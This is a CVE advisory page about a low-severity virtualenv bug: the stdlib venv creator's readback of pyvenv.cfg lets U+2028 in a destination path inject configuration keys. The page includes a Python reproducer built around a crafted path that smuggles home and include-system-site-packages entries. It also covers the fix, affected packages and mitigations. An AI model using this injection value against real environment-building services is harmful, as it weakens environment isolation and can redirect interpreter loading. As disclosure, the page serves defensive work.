CVE-2026-113715: virtualenv: Venv configuration readback can reinterpret path boundaries

Published Oct 20, 2026
·
Updated

Summary

The venv creator reads the standard library's generated pyvenv.cfg with splitlines() and merges all resulting keys over virtualenv's configuration. Line-boundary characters from destination data can therefore become configuration structure before output sanitization.

Anthropic's OSS Scanner reported this as ANT-2026-6ZQHJ6VI in virtualenv-20261015-005, received on 15 October 2026.

Affected area

Configuration readback by the stdlib venv creator.

Attacker-controlled input

An untrusted caller must influence the destination pathname passed to the venv creator. That pathname must contain a character that Python treats as a line boundary. The builtin creator follows a different configuration-writing path.

Affected code

The relevant 21.14.8 source is in venv readback, configuration parser.

Mechanism

With --creator venv, virtualenv asks the standard library to create an environment, reads its pyvenv.cfg with str.splitlines(), and merges the parsed keys over virtualenv's chosen settings. CPython writes the destination into a command = value without escaping every character that splitlines() recognizes as a line boundary. A destination containing U+2028, for example, can therefore supply new home and include-system-site-packages keys during readback. Virtualenv writes those keys as real configuration lines. The builtin creator does not use this readback path.

Reproduction and evidence

The scanner used one destination value with U+2028 between home = /attacker/chosen, include-system-site-packages = true, and an absorbing x = key. A python -m venv --without-pip control kept the value inside its command line and reported the base interpreter's sys.home. virtualenv --creator venv --no-seed on the same value wrote separate injected configuration lines and its interpreter reported sys.home = /attacker/chosen. The path did not require a literal newline byte. The control establishes that the extra keys came from virtualenv's readback, not from the standard library's initial file alone.

The altered home can change which standard-library files the interpreter loads if an attacker also controls that location; include-system-site-packages = true weakens environment isolation. Choosing the venv creator is required, either explicitly or through a rare fallback. The report traces the readback to the 20.x rewrite, first released in 20.0.0b1. PR #3426 rejects line-boundary characters before creation and rebuilds the final configuration from selected settings.

Attack sequence

mermaid sequenceDiagram participant A as Destination supplier participant S as stdlib venv participant V as virtualenv readback participant C as Final pyvenv.cfg participant P as Environment Python A->>S: path contains U+2028 and home = /attacker/chosen S->>C: write path inside command value V->>C: read with splitlines() V->>V: parse suffix as separate keys V->>C: rewrite home and include-system-site-packages P->>C: read injected keys on startup C-->>P: sys.home changes and isolation is disabled

Reproducer files

The following files are from the scanner report for ANT-2026-6ZQHJ6VI. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

repro

text #!/usr/bin/env python3 import os import shutil import subprocess

work = "/tmp/repro-venv-creator-cfg" shutil.rmtree(work, ignoreerrors=True)

the attacker's input: the text of a destination path. U+2028 ends a line for str.splitlines() but not for CPython's own pyvenv.cfg reader. The slashes only make nested directories; the last key, x, absorbs the rest of the path. LS = "\u2028" dest = f"{work}/proj{LS}home = /attacker/chosen{LS}include-system-site-packages = true{LS}x = /env"

basepython = os.path.realpath(shutil.which("python")) realhome = os.path.dirname(basepython)

def pyvenvcfglines(env): # split on "\n" only, as the interpreter does return open(f"{env}/pyvenv.cfg", encoding="utf-8").read().split("\n")

def syshome(env): # site.py sets sys.home from the home key of the environment's pyvenv.cfg probe = [f"{env}/bin/python", "-c", "import sys; print(sys.home)"] return subprocess.run(probe, captureoutput=True, text=True, check=True).stdout.strip()

control: the same path through the standard library alone stdlibenv = dest + "-stdlib" subprocess.run([basepython, "-m", "venv", "--without-pip", stdlibenv], check=True)

attack: the same path through virtualenv; --creator venv is the one non-default option virtualenvenv = dest + "-virtualenv" created = subprocess.run(["virtualenv", "--quiet", "--no-periodic-update", "--no-seed", "--creator", "venv", virtualenvenv]) if created.returncode != 0: # refusing such a destination is a valid fix print("virtualenv refused the destination") print("OK") raise SystemExit

check stdlibcfg, stdlibhome = pyvenvcfglines(stdlibenv), syshome(stdlibenv) virtualenvcfg, virtualenvhome = pyvenvcfglines(virtualenvenv), syshome(virtualenvenv)

print("CONTROL python -m venv wrote pyvenv.cfg:") for line in stdlibcfg: print(" " + ascii(line)) print(f"CONTROL python -m venv: sys.home = {stdlibhome}") print("OBSERVED virtualenv --creator venv wrote pyvenv.cfg:") for line in virtualenvcfg: print(" " + ascii(line)) print(f"OBSERVED virtualenv --creator venv: sys.home = {virtualenvhome}")

keysinjected = "home = /attacker/chosen" in virtualenvcfg and "include-system-site-packages = true" in virtualenvcfg print("BUG" if stdlibhome == realhome and keysinjected and virtualenvhome == "/attacker/chosen" else "OK")

Impact

Destination path data can change configuration boundaries and therefore environment settings. The effect depends on which settings change and how the environment is subsequently used.

Severity: low.

Versions tested

The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.

The fix rejects line boundaries in the supplied destination before filesystem access and checks the resolved path again before invoking stdlib venv. The final configuration is rebuilt from the selected interpreter and virtualenv options, without merging the intermediate stdlib file or its vendor-specific keys. Ordinary destination paths remain supported.

Fix: PR #3426.

Known mitigation

Reject line-boundary characters in externally supplied destination paths, or use the builtin creator where supported.

Affected release

- [x] The problem reproduces on virtualenv 21.14.8.

Credits

Reported by Anthropic's OSS Scanner as ANT-2026-6ZQHJ6VI.

Other sources

virtualenv is a tool for creating isolated virtual python environments. Prior to 21.14.9, the stdlib venv creator reads generated pyvenv.cfg with str.splitlines() and merges parsed keys over virtualenv's selected configuration. An untrusted caller who influences the destination pathname can include a line-boundary character such as U+2028 to inject keys including home and include-system-site-packages, causing path data to change configuration structure before final output. Setting include-system-site-packages to true weakens environment isolation, while an altered home can change which standard-library files the interpreter loads if the attacker also controls that location. The builtin creator does not use this readback path. This issue is fixed in version 21.14.9.

— MITRE

Affected Software

17 affected componentsFixes available
pypi/virtualenv<21.14.9
pip/virtualenv<21.14.9
21.14.9
ubuntu/python-virtualenv*
ubuntu/python-virtualenv*
ubuntu/python-virtualenv*
ubuntu/python-virtualenv*
ubuntu/python-virtualenv*
ubuntu/python-virtualenv*
ubuntu/python-virtualenv*
ubuntu/python-virtualenv*
debian/python-virtualenv<=20.17.1+ds-1, <=20.31.2+ds-1+deb13u1, <=21.5.1+ds-1
21.15.6+ds-2
bitnami/virtualenv<21.14.9
21.14.9
virtualenv virtualenv>=20.0.0<21.14.9
pip/virtualenv>=20.0.0<21.14.9
21.14.9
debian/python-virtualenv*
debian/python-virtualenv*
debian/python-virtualenv*

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/virtualenv to a version that resolves this vulnerability.

    Fixed in 21.14.9
  2. Upgrade

    Upgrade debian/python-virtualenv to a version that resolves this vulnerability.

    Fixed in 21.15.6+ds-2
  3. Upgrade

    Upgrade bitnami/virtualenv to a version that resolves this vulnerability.

    Fixed in 21.14.9
  4. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Fixed in 21.14.9
  5. Compensating control

    Until upgraded, reject line-boundary characters in externally supplied destination paths, or use the builtin creator where supported instead of `--creator venv`.

Event History

Oct 20, 2026
CVE Published
via MITRE·07:42 PM
Data Sourced
via MITRE·07:42 PM
DescriptionWeakness
Data Sourced
via OSV·07:42 PM
DescriptionSeverityWeakness
Advisory Published
via OSV·08:17 PM
Data Sourced
via NVD·08:17 PM
DescriptionSeverityWeakness
Oct 23, 2026
Advisory Published
via GitHub·10:20 PM
Data Sourced
via GitHub·10:20 PM
DescriptionWeaknessAffected Software
Nov 17, 2026
Data Sourced
via NVD·08:28 PM
RemedyAffected Software
Nov 19, 2026
Data Sourced
via OSV·12:38 AM
Affected Software

Frequently Asked Questions

1

Who is realistically exposed to this issue?

Deployments using virtualenv versions earlier than 21.14.9 are affected only when they use the stdlib venv creator and allow an untrusted party to influence the destination pathname. The builtin creator does not use the vulnerable readback path.

2

What does an attacker need to exploit it?

The attacker must be able to supply or influence the virtual-environment destination pathname so it contains a line-boundary character such as U+2028. Changing the home setting also requires the attacker to control the referenced location to influence which standard-library files the interpreter loads.

3

What is the practical impact of injected configuration values?

An injected include-system-site-packages=true value weakens the isolation of the created environment. An altered home value can redirect the interpreter's standard-library lookup when the attacker controls that location.

4

What should be done if upgrading is not immediately possible?

Do not allow untrusted input to control virtual-environment destination pathnames, particularly pathnames containing line-boundary characters. Where possible, avoid the stdlib venv creator, since the builtin creator does not use the affected readback behavior.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203